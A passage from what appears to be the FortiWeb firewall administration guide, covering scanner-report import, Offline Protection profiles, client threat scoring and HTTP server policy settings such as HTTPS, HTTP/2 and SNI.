remove the offending parts, and could either reset the connection or return an
HTTP 403 Access Forbidden or 404 File Not Found error
message.
Redirect URL With Reason Enable to include the reason for redirection as a parameter in the URL, such
as reason747sha=Parameter%20Validation%20Violation, when
traffic has been redirected using Redirect URL on page 228. The FortiWeb
appliance also adds redirect491=1 to the URL to detect and cancel a
redirect loop (if the redirect action would otherwise recursively triggers an
attack event). FortiWeb will strip these two parameters before it forwards the
processed traffic to the back-end servers.
By default, this option is disabled.
Caution: If the FortiWeb appliance is protecting a redirect URL, enable this
option to prevent infinite redirect loops.
To view or modify a component without leaving the page, next to the drop-down menu where you have selected the
component, click Detail.
5. Click OK.
6. To apply the inline protection profile, select it in a server policy. For details, see Configuring an HTTP server policy
on page 242.
See also


Policies 229
Generating a protection profile using scanner reports
Instead of creating a protection profile from scratch, you can use XML-format reports from FortiWeb Scanner or third-
party web vulnerability scanners to automatically generate FortiWeb protection profiles that contain rules and policies
that are appropriate for your environment.
For example, if the scanner report detects an SQL injection vulnerability, FortiWeb can automatically create a custom
access control rule that matches the appropriate URL, parameter, and signature. It adds the generated rule to either an
existing protection profile or a new one.
You can generate rules for all vulnerabilities in the report when you import it. Alternatively, you can manually select
which vulnerabilities to create rules for after you import the report. When you automatically create rules, you can select
which ADOM to add the generated rules to.
Depending on the contents of the report, FortiWeb generates rules of the following types:
l Allow Method (see Specifying allowed HTTP methods on page 529)
l URL Access Rule (see Restricting access to specific URLs on page 433)
l HTTP Protocol Constraints (see HTTP/HTTPS protocol constraints on page 532)
l Signatures (see Blocking known attacks & data leaks on page 461)
l Custom Access Policy (see Combination access control & rate limiting on page 437)
WhiteHat Sentinel scanner report requirements
To allow FortiWeb to generate rules using a WhiteHat Sentinel scanner report, ensure that the parameters “display_
vulnerabilities” and “display_description” are enabled when you run the scan.
You can upload a WhiteHat Sentinel scanner report using either a report file you have downloaded manually or directly
import the file from the WhiteHat portal using the RESTful API. Importing a scanner file from the WhiteHat portal
requires the API key and application name that WhiteHat provides.
To retrieve the WhiteHat API key and application name
1. Go to the following location and log in:

https://source.whitehatsec.com/summary.html#dashboard
2. In the top right corner, click My Profile.
3. Click View My API Key and enter your password.
Your API key is displayed. For example:

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4. To view the application name, navigate to the Assets tab. The application name is the NAME value. For example:
Telefónica FAAST scanner report requirements
You can upload a Telefónica FAAST scanner report using either a report file you have downloaded manually or directly
import the file from the Telefónica FAAST portal using the RESTful API. Importing a scanner file from the Telefónica
FAAST portal requires the API key that Telefónica FAAST provides. One Telefónica FAAST scanner account can apply
for an API key.
To apply for a Telefónica FAAST API key
1. Go to the following location and log in:

https://cybersecurity.telefonica.com/vulnerabilities/es/api_docs
2. In the session : Authentication page, please select POST > api/session for the method, and fill in the blanks
for username and password. Then click Try it out.

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3. The API key will be gave in the Response Body if the username and password are authorized.
HP WebInspect scanner report requirements
To generate rules from HP WebInspect, when you export the report, for the Details option, select either Full or
Vulnerabilities.

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To import a scanner report
1. Go to Web Vulnerability Scan > Scanner Integration > Scanner Integration.

A list of imported reports is displayed.
2. Click Scanner File Import.
Scanner Type Select the type of scanner report you want to import.
l Acunetix
l IBM AppScan Standard
l WhiteHat
l HP WebInspect
l Qualys
l Telefonica FAAST
l ImmuniWeb
l FortiWeb Scanner
Some types of reports have specific requirements. For details, see
WhiteHat Sentinel scanner report requirements on page 229,
Telefónica FAAST scanner report requirements on page 230 and HP
WebInspect scanner report requirements on page 231.
Method If Scanner Type is WhiteHat, specify whether to import an XML file

you have downloaded manually or retrieve a report from the WhiteHat
portal using the REST API.
If Scanner Type is Telefonica FAAST, specify whether to import an
XML file you have downloaded manually or retrieve a report from the
Telefónica FAAST portal using the REST API.
API Key If Scanner Type is WhiteHat and Method on page 232 is REST
API, enter the API Key that WhiteHat provides. For details, see
WhiteHat Sentinel scanner report requirements on page 229.
If Scanner Type is Telefonica FAAST and Method on page 232 is
REST API, enter the API Key that Telefónica FAAST provides. For
details, see WhiteHat Sentinel scanner report requirements on page
229.
Application Name If Scanner Type is WhiteHat and Method on page 232 is REST
API, enter the application name that WhiteHat provides. For details,
see WhiteHat Sentinel scanner report requirements on page 229.
Upload File Allows you to navigate to and select a scanner report file to upload.
Currently, you can upload XML-format files only.
Generate FortiWeb Rules Specifies whether FortiWeb generates a corresponding rule for each
Automatically reported vulnerability when it imports the scanner report.
ADOM Name Select the ADOM that FortiWeb adds the generated rules to.
Available only if Generate FortiWeb Rules Automatically on page 232
is enabled.
Profile Type Specifies whether FortiWeb adds the generated rules to an inline or
Offline Protection profile.

Policies 233

is enabled.
Merge the Report to Specifies whether FortiWeb adds the generated rules to an existing
Existing Rule protection profile or creates a new profile for them.

is enabled.
Rule Name Specifies the name of the protection profile to add the generated rules
to or the name of a new protection profile.

is enabled.
Action Specifies the action that FortiWeb takes when it detects a

vulnerability. You can specify different actions for high-, medium-, and
low-level vulnerabilities.
• Alert—Accept the request and generate an alert email and/or log

message.
• Deny—Block the request (or reset the connection) and generate an

alert email and/or log message.

is enabled.
4. Click OK.
FortiWeb uploads the file and adds the report contents to the list of imported reports.
5. If you did not generate rules for all the vulnerabilities, you can create rules for individual vulnerabilities. Select one
or more of them, click Mitigate, and then complete the settings in the dialog box.
6. Use the link in the Profile Name column to view the protection profile that contains a generated rule or policy. The
link in the Rule Name column allows you to view the settings for that item.
7. To remove individual rules but preserve the corresponding vulnerability items in the list, select one or more
vulnerabilities, and then click Cancel.
You can use the Mitigate option to re-create the rule later, if needed.
8. To delete the imported report or an individual vulnerability, select the item to delete, and then click Delete.
FortiWeb prompts you to confirm that you want to delete any rules that are associated with the item. FortiWeb does not
delete the protection profile that contains the rules.
Configuring a protection profile for an out-of-band topology or

asynchronous mode of operation
Offline Protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can
be applied by a policy. Offline Protection profiles contain only the features that are supported in out-of-band topologies

Policies 234
and asynchronous inspection, which are used with operation modes such as Transparent Inspection and Offline
Protection.
Offline Protection profiles’ primary purpose is to detect attacks. Depending on the routing and network load, due to
limitations inherent to out-of-band topologies and asynchronous inspection, FortiWeb may not be able to reliably block
all of the attacks it detects, even if you have configured FortiWeb with an Action setting of Alert & Deny.
Offline Protection profiles only include features that do not require an inline network
topology. You can configure them at any time, but a policy cannot apply an Offline
Protection profile if the FortiWeb appliance is operating in a mode that does not
support them. For details, see How operation mode affects server policy behavior on
page 217.
To configure an Offline Protection profile
1. Before configuring an Offline Protection profile, first configure any of the following that you want to include in the
profile:
l a client management policy (see Client management on page 237)
l a signature set (see Blocking known attacks & data leaks on page 461)
l a HTTP protocol constraints profile (see HTTP/HTTPS protocol constraints on page 532)
l an X-Forwarded-For: or other X-header rule (see Defining your proxies, clients, & X-headers on page 193)
l a custom policy (see Combination access control & rate limiting on page 437)
l an oracle padding protection rule (see Defeating cipher padding attacks on individually encrypted inputs on
page 508)
l a SQL/XSS syntax based detection policy (see Syntax-based SQL/XSS injection detection on page 482)
l a parameter validation policy (see Validating parameters (“input rules”) on page 519)
l a hidden field protection rule (see Preventing tampering with hidden inputs on page 524)
l a file security policy (see Limiting file uploads on page 597)
l a URL access policy (see Restricting access to specific URLs on page 433)
l an allowed method policy (see Specifying allowed HTTP methods on page 529)
l an XML protection policy (see Configuring XML protection on page 561)
l a JSON protection policy (see Configuring JSON protection on page 556)
l an OpenAPI validation policy (see OpenAPI Validation on page 573)
l an IP reputation policy (see Blacklisting source IPs with poor reputation on page 442)
l an IP list policy (see Blacklisting & whitelisting clients using a source IP or source IP range on page 447)
l a Geo IP policy (see Blacklisting & whitelisting countries & regions on page 445)
l a user tracking policy (see Tracking users on page 380)
l a trigger if you plan to use policy-wide log and alert settings (see Viewing log messages on page 718)
2. Go to Policy > Web Protection Profile and select the Offline Protection Profile tab.
Predefined profiles cannot be edited, but they can be viewed and cloned.

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Client Management Enable to track a client by the inserted cookie, or source IP when cookie is
prohibited.
For details, see Client management on page 237.
Session Key Type the cookie value, if any, that FortiWeb uses to track the client.
By default, FortiWeb tracks three cookie names: ASPSESSIONID,
PHPSESSIONID, and JSESSIONID.
Configure this field if your web application uses a custom or uncommon
cookie.
This option appears only if Client Management is enabled.
Signatures Select the name of the signature set you have configured in Web Protection
> Known Attacks, if any, that will be applied to matching requests.
Enable AMF3, XML, or JSON Protocol Detection if applicable.
Attack log messages for this feature vary by which type of attack was
detected. For a list, see Blocking known attacks & data leaks on page 461.
HTTP Protocol Constraints Select the name of an HTTP parameter constraint, if any, that will be applied
to matching requests. For details, see HTTP/HTTPS protocol constraints on
page 532.
Attack log messages for this feature vary by which type of constraint was
violated.
X-Forwarded-For Select the X-Forwarded-For: and X-Real-IP: HTTP header settings to

use, if any. For details, see Defining your proxies, clients, & X-headers on
page 193.
Note: Configuring this option is required if the true IP address of the client is
hidden from FortiWeb because a load balancer or other web proxy is deployed
in front. In that case, you must configure an X-header rule so that FortiWeb
will block only requests related to the original client. Otherwise, it may block
all requests whenever any attack occurs, since all requests will appear to
originate from the proxy’s IP.
Custom Policy Select the name of a combination source IP, rate limit, HTTP header, and
URL access policy, if any, that will be applied to matching requests. For
details, see Combination access control & rate limiting on page 437.
Attack log messages contain Custom Access Violation when this
feature detects a violation.
Padding Oracle Protection Select the name of padding oracle protection rule, if any, that will be applied
to matching requests. For details, see Defeating cipher padding attacks on
individually encrypted inputs on page 508.
detects a violation.
SQL/XSS Syntax Based Select the name of a SQL/XSS syntax based detection policy if any, that will
Detection be applied to matching requests. For details, see Syntax-based SQL/XSS
injection detection on page 482.

Policies 236
Parameter Validation Select the name of the parameter validation rule, if any, that will be applied to
matching requests. For details, see Validating parameters (“input rules”) on
page 519.
Attack log messages contain Parameter Validation Violation
when this feature detects a parameter rule violation.
Hidden Fields Protection Select the name of the hidden fields protection rule, if any, to use to protect
hidden fields on your website. For details, see Preventing tampering with
hidden inputs on page 524.
Attack log messages contain Hidden Field Manipulation when this
feature detects tampering.
This option appears only when Configuring a protection profile for an out-of-
band topology or asynchronous mode of operation on page 233 is enabled.
File Security Select an existing file security policy, if any, that will be applied to matching
HTTP requests. For details, see Limiting file uploads on page 597.
Attack log messages contain Illegal File Size when this feature
detects an excessively large upload.
Enable AMF3 Protocol Enable to scan requests that use action message format 3.0 (AMF3) for:
Detection l Cross-site scripting (XSS) attacks
l SQL injection attacks
l Common exploits
and other attack signatures that you have enabled in Signatures on page 235.
AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send
input to server-side software.
Caution: To scan for attacks or enforce input rules on AMF3, you must
enable this option. Failure to enable the option will cause the FortiWeb
appliance to be unable to scan AMF3 requests for attacks.
URL Access Select the name of the URL access policy, if any, that will be applied to
matching HTTP requests. For details, see Restricting access to specific URLs
on page 433.
Attack log messages contain URL Access Violation when this feature
detects a URL matched by this policy.
Allow Method Select an existing allow method policy, if any, that will be applied to matching
HTTP requests. For details, see Specifying allowed HTTP methods on page
529.
Attack log messages contain HTTP Method Violation when this feature
detects a non-allowed HTTP request method.
XML Protection Select the name of an existing XML protection policy. For details, see
Configuring XML protection on page 561.
JSON Protection Select the name of an existing JSON protection policy. For details, see
Configuring JSON protection on page 556.
OpenAPI Protection Select the name of an existing OpenAPI protection policy. For details, see
OpenAPI Validation on page 573.

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Mobile Application Enable to configure the JWT token secret and token header to verify a request
Identification from a mobile application.
For details, see Configuring mobile API protection on page 588.

Note: You need to enable Mobile Application Identification first from
System > Config > Feature Visibility.
Token Secret Enter the token secret that you have got from Approov.
Token Header Specify the header where the token is carried.

Mobile API Protection Select the name of an existing API protection policy. For details, see
Configuring mobile API protection on page 588.
IP Reputation Enable to apply IP reputation intelligence. For details, see Blacklisting source
IPs with poor reputation on page 442.
IP List Select the name of a client white list or black list, if any, that will be applied to
matching requests. For details, see Blacklisting & whitelisting clients using a
source IP or source IP range on page 447.
Geo IP Select the name of a geographically-based client black list, if any, that will be
applied to matching requests. For details, see Blacklisting & whitelisting
countries & regions on page 445.
User Tracking Select the name of a user tracking policy, if any, to use for matching requests.
For details, see Tracking users on page 380.
To view or modify a component without leaving the page, next to the drop-down menu where you have selected the
component, click Detail.
5. Click OK.
6. To apply the Offline Protection profile, select it in a policy. For details, see Configuring an HTTP server policy on
page 242.
See also

Client management
Tracking a client by either the recognized cookie or the source IP, FortiWeb's client management feature identifies
suspected attacks based on the clients. When a client triggers a threat, FortiWeb accumulates the threat score based
on the configured threat weight value. When the client's threat score reaches a certain threshold, a corresponding
blocking action is performed. To identify a visiting client, FortiWeb generates a unique client ID according to the cookie
value or source IP.

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In inline mode, when a client accesses a web application for the first time, FortiWeb inserts a cookie into the client's
browser. In the subsequent access by the client, if the client carries the cookie inserted, FortiWeb tracks the client by
this cookie; otherwise, FortiWeb tracks the client by the client's source IP. While in offline mode, FortiWeb cannot insert
cookies into the client. By default, three cookies ASPSESSIONID, PHPSESSID, and JSESSIONID are supported. If you
want to track the client through other cookies, just configure it in Session Key of Offline Protection Profile.
See also
l Monitoring currently tracked clients on page 743
How client management works
The client management mechanism takes into account the following factors:
Threat weight of security violations
Each protection feature involved in the client management mechanism must be scored with a threat weight to indicate
how serious a security violation is; this generally depends on the security concerns according to how networks and
servers will be used. For example, SQL injection might be a higher risk security violation if database applications are
provided on servers, though it may be a lower risk event if no database applications are provided. When a security
violation is detected, the threat weight of the security violation is used to calculate the threat score of the client that
launched the event.
Threat score of a client
FortiWeb reacts to security violations launched by a client according to the configured threat score of the client. The
threat score is the sum of the threat weights of all the security violations launched by the client in certain time period.
Each time a client violates the security, a corresponding threat weight is added to the total threat score based on set
time period. The higher the accumulated threat score of the client, the higher of the risk level of the client. A client can
be trusted, suspicious, or malicious based on the configured threat score.
Risk level of a client
Risk level is used to evaluate how dangerous a client is. A client is classified as trusted, unidentified, suspicious, or
malicious according to the threat score set. To identify the risk level of a client, the threat score of the risk levels must be
defined. For example, a client that has a threat score between 0-120 may be considered trusted (the calculation of the
traffic shall be over 5 minutes), between 121-300 suspicious, and over 301 malicious. When the client management
module is disabled, or it fails to meet the status of the three risk levels, the risk level of the client can be unidentified.
Blocking action based on risk level
When client management is enabled, based on the risk levels, FortiWeb blocks a suspicious or malicious client
according to the configurations in Block Settings.
Configuring threat weight
To define the threat weight of each security violation
1. Go to Policy > Client Management.

2. Click Threat Weight.
3. Configure Risk Level Values.
Six different risk levels are available to indicate how serious a security violation is: Informational, Low, Moderate,
Substantial, Severe, and Critical.

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Assign a threat weight of 1-500 to the risk levels. It is possible to initially use the default values and later adjust
them according to specific security concerns.
4. Define risk level of security violations.

Here are the security violations that FortiWeb can detect:
l Signatures (See Blocking known attacks & data leaks on page 461)
l Custom Policy Violations (See Combination access control & rate limiting on page 437)
l Padding Oracle Attacks (See Defeating cipher padding attacks on individually encrypted inputs on page 508)
l CSRF Attacks (See Defeating cross-site request forgery (CSRF) attacks on page 511)
l Man in Browser Protection (See Protection for Man-in-the-Browser (MiTB) attacks on page 549)
l SQL/XSS Syntax Based Detection (See Syntax-based SQL/XSS injection detection on page 482)
l Cookie Security Policy Violations (See Protecting against cookie poisoning and other cookie-based attacks on
page 450)
l Parameter Validation (See Validating parameters (“input rules”) on page 519)
l Hidden Field Tampering (See Preventing tampering with hidden inputs on page 524)
l FTP Security (see Configuring FTP security on page 259)
l HTTP Protocol Constraint Violations (See HTTP/HTTPS protocol constraints on page 532)
l WebSocket Protocol Violations (WebSocket protocol on page 545)
l URL Access Violations (See Restricting access to specific URLs on page 433)
l Allow Methods Violations (See Specifying allowed HTTP methods on page 529)
l CORS Protection (see Cross-Origin Resource Sharing (CORS) protection on page 453)
l Biometrics Based Detection Violations (see Configuring biometrics based detection on page 750)
l Threshold Based Detection Violations (see Configuring threshold based detection on page 745)
l Bot Deception Violations (see Configuring bot deception on page 752)
l Known Bots Violations (see Configuring known bots on page 754)
l JSON Protection Violations (see Configuring JSON protection on page 556)
l XML Protection Violations (see Configuring XML protection on page 561)
l OpenAPI Validation Violations (see OpenAPI Validation on page 573)
l Mobile API Potection Violations (see Configuring mobile API protection on page 588)
l Dos Protection Violations (see DoS prevention on page 612)
l IP List Violations (See Blacklisting & whitelisting clients on page 442)
l Geo IP Violations (See Blacklisting & whitelisting countries & regions on page 445)
l Poor IP Reputation (See Blacklisting source IPs with poor reputation on page 442)
l User Tracking (See Tracking users on page 380)
Click Threat Weight and then a specific security module. Adjust the slider bar to assign a risk level to each security
violation.
For Signatures and HTTP Protocol Constraints, go to Web Protection > Known Attacks > Signatures and
Web Protection > Protocol > HTTP > HTTP Protocol Constraints to set the risk level of individual signatures
and HTTP protocol constraints. For details, see Blocking known attacks & data leaks on page 461 and
HTTP/HTTPS protocol constraints on page 532.
5. Click Apply to save the configuration.
6. You can also click Restore Defaults to restore the configured threat weight of each security violation to the default
values.

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Configuring client management
To define the threat score and violation actions

1. Go to Policy > Client Management.
2. Click Configuration.
Client session data expires Set the amount of time that FortiWeb will store the tracked client information.
after Once the information has been stored for longer than the set amount of time,
FortiWeb will remove that information.
Statistics period Select the amount of time in days that FortiWeb will store the threat score
data for an active client.
For example, when the statistics period is 3 days, and the total threat score in
this period is 150. Then 150 will be taken as the score to compare with those
set for thrusted/suspicious/malicious clients.
Threat Score Move the two cursors of the slider bar to set the threat score for different risk
levels of a client based on the threat weight sum of all the security violations
launched by the client at the time of the last access.
Block Settings Enter the amount of time (in minutes) that FortiWeb will block a suspicious or
malicious client. You can set two blocking rules for suspicious and malicious
clients respectively.
Note: Setting for suspicious clients will also work for malicious clients; while
those for malicious clients will not work for suspicious clients.
4. Click Apply.
Monitoring currently tracked clients
To view the information that has been tracked to the client, or delete or restore a client's threat score, see Monitoring
currently tracked clients on page 743.
To view the information of blocked IPs if you configure Block Settings and the threat score exceeds the threshold, see
Monitoring currently blocked IPs on page 742.
In Log&Report > Log Access > Attack, you can click an attack log to check the threat score, client ID, and client risk
information, and click the client ID to restore the client threat score to 0.

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In Log&Report > Log Access > Event, you can click an event log to check the client ID information, and click the client ID
to restore the client threat score to 0.

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Configuring an HTTP server policy
Configure HTTP server policies by combining your rules, profiles, and sub-policies.
Server policies:
l Block or allow connections
l Apply a protection profile that specifies how FortiWeb scans or processes the HTTP/HTTPS requests that it allows
l Route or let pass traffic to destination web servers
Until you configure and enable at least one policy, FortiWeb will, by default:
l when in Reverse Proxy mode, deny all traffic.
l when in other operation modes, allow all traffic.
Server policy behavior and supported features vary by operation mode. For details, see How operation mode affects
server policy behavior on page 217. It also varies by whether or not the policy uses IPv6 addresses.

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To achieve more complex policy behaviors and routing, you can chain multiple policies together. For details, see
Defining your web servers on page 163.
Do not configure policies you will not use. FortiWeb allocates memory with each server policy, regardless of whether it is
actually in active use. Configuring extra policies unnecessarily consumes memory and decreases performance.
Certain server policy options are only available in CLI. You might not want to skip
them because they may be useful for some cases. For example, to mitigate
low&slow attacks, you can set http-header-timeout and tcp-recv-
timeout to specify the timeout for the HTTP header and TCP request sent from
clients.
For a full set of the server policy options, see config server-policy policy
in FortiWeb CLI Reference Guide.
If a policy has any virtual servers or a server pool members with IPv6 addresses, it
does not apply features that do not yet support IPv6, even if they are selected.
To configure a policy
1. Before you configure a policy, you usually should first configure any of the following that you must, or want to,
include in the policy:
Alternatively, you can create missing components on-the-fly while configuring

the policy, without leaving the page. To do this, select Create New from each
policy component’s drop-down menu.
However, when creating many components, you can save time by leaving the
policy page, going to the other menu areas, and creating similar profiles by
cloning, then modifying each clone.
Generally speaking, because policies tie other components together and apply
them to client’s connections with your web servers, they should be configured
last. For details, see Workflow on page 23.
l If the policy will govern secure connections via HTTPS, you must upload the web server’s certificate, define a
certificate verification rule, and possibly also an intermediate CA certificate group. For details, see Secure
connections (SSL/TLS) on page 386.
l Define your web servers by configuring either physical servers or domain servers within a server pool. You can
use the pools to distribute connections among the servers. For details, see Creating a server pool on page
169.
l Define one or more HTTP content routing policies that forward traffic based on headers in the HTTP layer. For
details, see Routing based on HTTP content on page 180.
l Define one or more host names or IP addresses if you want to accept or deny requests based upon the Host:
field in the HTTP header. For details, see “Defining your protected/allowed HTTP “Host:” header names on
page 160.
l Configure a virtual server or V-zone to receive traffic on the FortiWeb appliance. For details, see Configuring
virtual servers on your FortiWeb on page 199 or Configuring a bridge (V-zone) on page 133.

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l Configure an inline or offline (out-of-band) protection profile. For details, see Configuring a protection profile
for inline topologies on page 223 (any mode except Offline Protection) or Configuring a protection profile for an
out-of-band topology or asynchronous mode of operation on page 233 (Offline Protection mode only).
l If you want to present a customized error page when a request is denied by a protection profile, edit the error
page. For details, see Customizing error and authentication pages (replacement messages) on page 668.
2. Go to Policy > Server Policy.
4. Configure the following settings.
The operation mode and Deployment Mode value determine which options are available.
Network Configuration
Policy Name Type a name that can be referenced by other parts of the configuration.
Deployment Mode Select the method of distribution that the FortiWeb appliance uses when it
accepts connections for this policy.
The deployment modes that are available depend on the types of network
topologies that the current operation mode supports.
l Single Server/Server Balance—Forwards connections to a server
pool. Depending on the pool configuration, FortiWeb either forwards
connections to a single physical server or domain server or distributes the
connection among the pool members. Also configure a Server Pool on
page 245. This option is available only in Reverse Proxy mode.
l HTTP Content Routing—Use HTTP content routing to route HTTP
requests to a specific server pool. This option is available only in Reverse
Proxy mode.
Note: When HTTP Content Routing is selected, FortiWeb can handle
HTTP/2 client requests, but traffic from FortiWeb to the server(s) must use
HTTP, so the HTTP/2 setting in a server pool configuration would have to
remain disabled. For details, see Defining your web servers on page 163.
l Offline Protection—Allow connections to pass through the FortiWeb
appliance, and apply an Offline Protection profile. Also configure a Server
Pool on page 245. This option is available only in Offline Protection
mode.
l Transparent Servers—Allow connections to pass through the FortiWeb
appliance, and apply a protection profile. Also configure a Server Pool on
page 245. This option is available only in True Transparent Proxy or
Transparent Inspection mode.
l WCCP Servers—FortiWeb will act as a Web Cache Communication
Protocol (WCCP) client that receives traffic from a FortiGate configured
as a WCCP server. Also configure a Server Pool on page 245. This option
is available only in WCCP mode.
Virtual Server Select the name of a virtual server, data capture (listening) network interface,
or or v-zone (bridge) according to the operation mode:
Data Capture Port The name and purpose of these settings varies by operation mode:
or l Virtual Server—Identifies the IP address and network interface of
incoming traffic that FortiWeb routes and that the policy applies a profile

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V-zone to. This option is available only in Reverse Proxy mode.

l Data Capture Port—Identifies the network interface of incoming traffic
that the policy applies a profile to. The IP address is ignored. This option
is available only in Offline Protection mode.
If your FortiWeb model uses Data Plane Development Kit (DPDK) for
packet processing (e.g., models 3000E, 3010E and 4000E), this option
has the following limitations:
l Only physical interfaces can be data capture ports. These models do
not support VLAN subinterfaces or link aggregate interfaces as data
capture ports.
l You cannot edit the interface after you set it as a data capture port. If
you need to configure the maximum transmission unit (MTU) for the
interface (using the config system interface and config
system v-zone CLI commands), do it before you select the
interface as a data capture port.
l V-zone—Identifies the network interface of the incoming traffic that the
policy applies a profile to. This option is available in True Transparent
Proxy and Transparent Inspection mode.
HTTP Content Routing To specify HTTP content routing policies and options that this policy uses,
click Add, then complete the following settings for each entry:
l HTTP Content Routing Policy Name—The name of the policy.
l Inherit Web Protection Profile—Specify whether FortiWeb applies the
web protection profile for the server policy to connections that match the
routing policy.
l Web Protection Profile—Select the profile to apply to connections that
match the routing policy. For details, see Configuring a protection profile
for inline topologies on page 223.
Note: FortiWeb does not block clients with source IP addresses
designated as a trusted IP. For details, see Blacklisting & whitelisting
clients using a source IP or source IP range on page 447.
l Default—Specifies whether FortiWeb applies the specified protection
profile to any traffic that does not match any HTTP content routing policy
in the list.
You can specify up to 256 HTTP content routing policies in each server policy.
This option is available only in Reverse Proxy mode and when the Deployment
Mode on page 244 is HTTP Content Routing.
Match Once Enable to forward subsequent requests from an identified client connection to
the same server pool as the initial connection from the client.
This option allows FortiWeb to improve its performance by skipping the
process of matching HTTP header content to content routing policies for
connections it has already evaluated and routed.
This option is available only in Reverse Proxy mode and when the Deployment
Mode on page 244 is HTTP Content Routing.
Server Pool Select the server pool whose members receive the connections. A server pool
can contain a single physical server or domain server. For details, see
Creating a server pool on page 169.

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This option is available only if the Deployment Mode on page 244 is Single
Server/Server Pool, Offline Protection, Transparent Server, or WCCP
Servers.
Caution: Multiple virtual servers/policies can forward traffic to the same
server pool. If you do this, consider the total maximum load of connections
that all virtual servers forward to your server pool. This configuration can
multiply traffic forwarded to your server pool, which can overload them and
cause dropped connections.
Protected Hostnames Select a protected host names group to allow or reject connections based
upon whether the Host: field in the HTTP header is empty or does or does
not match the protected host names group. For details, see Defining your
protected/allowed HTTP “Host:” header names on page 160.
If you do not select a protected host names group, FortiWeb accepts or blocks
requests based on other criteria in the policy or protection profile, but will not
accept or block requests based on the Host: field in the HTTP header.
Attack log messages contain HTTP Host Violation when this feature
detects a hostname that is not allowed..
Caution: Unlike HTTP 1.1, HTTP 1.0 does not require the Host: field. The
FortiWeb appliance does not block HTTP 1.0 requests because they do not
have this field, regardless of whether or not you have selected a protected
host names group.
Client Real IP By default, when the operation mode is Reverse Proxy, the source IP for
connections between FortiWeb and back-end servers is the address of a
FortiWeb network interface.
If you enable Client Real IP, FortiWeb will use the source IP address of the
client that originated the request when it connects to a back-end server on
behalf of that client. This option is available only in Reverse Proxy mode.
If you set the server's IP address as the source address in a policy route, it is
recommended that you do not enable Client Real IP, otherwise it may cause
your application inaccessible.
Note: To ensure FortiWeb receives the server's response when you enable
Client Real IP, configure FortiWeb as the server’s gateway.
IP/IP Range Specify an IP address or address range to directly connect to the back-end
server.
If no IP address or address range is specified when Client Real IP on page 246
is enabled, FortiWeb will use the client IP address to connect to the back-end
server.
Available only when Client Real IP on page 246 is enabled.
Blocking Port Select which network interface FortiWeb uses to send TCP RST (connection
reset) packets when it attempts to block the request or connection after it
detects traffic that violates a policy. For details on blocking behavior, see
Topology for Offline Protection mode on page 78.
This option is available only in Offline Protection mode.
HTTP Service Select the custom or predefined service that defines the TCP port number
where the virtual server receives HTTP traffic.

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This option is available only in Reverse Proxy mode.
HTTPS Service Select the custom or predefined service that defines the TCP port number
where the virtual server receives HTTPS traffic. Also configure Certificate on
page 247.
Enable if requests from clients to the FortiWeb appliance or back-end servers
use SSL or TLS. See also Supported cipher suites & protocol versions on page
388.
When enabled, the FortiWeb appliance handles SSL negotiations and
encryption and decryption, instead of the web servers, also known as SSL
offloading. For details, see Offloading vs. inspection on page 386.
Connections between the client and the FortiWeb appliance are encrypted.
The server pool configuration specifies whether connections between the
FortiWeb appliance and each web server are encrypted.
This option is available only in Reverse Proxy mode. For other operation
modes, use the server pool configuration to enable SSL inspection. For
details, see Creating a server pool on page 169.
Caution: If you do not enable an HTTPS option and provide a certificate for
HTTPS connections, FortiWeb cannot decrypt connections and scan content
in the HTTP body.
Tip: FortiWeb appliances contain specialized hardware to accelerate SSL
processing. Offloading SSL/TLS processing can improve the performance of
secure HTTP (HTTPS) connections.
HTTP/2 Enable FortiWeb to negotiate HTTP/2 with clients via SSL ALPN (Application-
Layer Protocol Negotiation) during the SSL handshake if the client's browser
supports the HTTP/2 protocol. If HTTP/2 is enabled, FortiWeb will recognize
HTTP/2 traffic and apply the security services to it.
Note: This option is available only if the Deployment Mode on page 244 is
Single Server/Server Pool or HTTP Content Routingand HTTPS
Service is configured correctly. This is because FortiWeb supports HTTP/2
only for HTTPS connections. Please keep in mind that if the Deployment
Mode on page 244 is HTTP Content Routing, client requests can use
HTTP/2, but traffic between FortiWeb and the server(s) must use HTTP, so
the HTTP/2 setting in a server pool configuration would have to remain
disabled. For details, see Defining your web servers on page 163.
To configure HTTP/2 in True Transparent Proxy mode, see HTTP/2 support
on page 40.
for the website specified by Configuring an HTTP server policy. For details,
see Configuring an HTTP server policy on page 242.
Certificate Select the server certificate that FortiWeb uses to encrypt or decrypt SSL-
secured connections.
For details, see Uploading a server certificate on page 402 and Offloading vs.
inspection on page 386.

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If Enable Server Name Indication (SNI) is selected, FortiWeb uses a

Server Name Indication (SNI) configuration instead of or in addition to this
server certificate.
Available only if you specify a value for HTTPS Service on page 247.
intermediary CA has signed the server certificate specified by the selected
Certificate, not a root CA or other CA currently trusted by the client directly.
itself before you upload it to FortiWeb. For details, see Uploading a server
certificate on page 402 and Supplementing a server certificate with its signing
chain on page 404.
Show/Hide advanced SSL Click to show or hide the settings that allow you to specify a Server Name
settings Indication (SNI) configuration, increase security by disabling specific versions
of TLS and SSL for this policy, and other advanced SSL settings.
For example, if FortiWeb can use a single certificate to decrypt and encrypt
traffic for all the websites that reside on the servers in a pool, you may not
have to set any advanced SSL settings.
Certificate Settings Certificate Verification—Select the name of a certificate verifier, if any, that
FortiWeb uses to validate an HTTP client’s personal certificate.
identity of the person connecting to the website (PKI authentication). If a User
Tracking Policy or Site Publish rule fails to track a user, FortiWeb will attempt
to track a user with his or her email address provided in the client certificate
via Certificate Verification.
You can require clients to present a certificate instead of, or in addition to,
HTTP authentication. For details, see Offloading HTTP authentication &
For True Transparent Proxy mode, configure this setting in the server pool
configuration instead. For details, see Certificate Verification on page 176.
Note: The client must support TLS 1.0, TLS 1.1, TLS 1.2, and TLS 1.3.
If you select Enable Server Name Indication (SNI) and the domain in the
client request matches an entry in the specified SNI policy, FortiWeb uses the
SNI configuration to determine which certificate verifier to use instead.
If you do not select a verifier, clients are not required to present a personal
certificate. For details, see How to apply PKI client authentication (personal
certificates) on page 411.
Enable Server Name Indication(SNI)—Select to use a Server Name
Indication (SNI) configuration instead of or in addition to the server certificate
specified by the Certificate on page 247.

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present on behalf of the members of a pool based on the domain in the client
request. For details, see Allowing FortiWeb to support multiple server
If you specify both an SNI configuration and Certificate on page 247,
FortiWeb uses the certificate specified by Certificate on page 247 when the
requested domain does not match a value in the SNI configuration.
Available only if you specify a value for HTTPS Service on page 247 and select
Show advanced SSL settings.
Enable Strict SNI—Select so that FortiWeb will ignore the Certificate when
it determines which certificate to present on behalf of server pool members,
even if the domain in a client request does not match a value in the SNI
configuration.
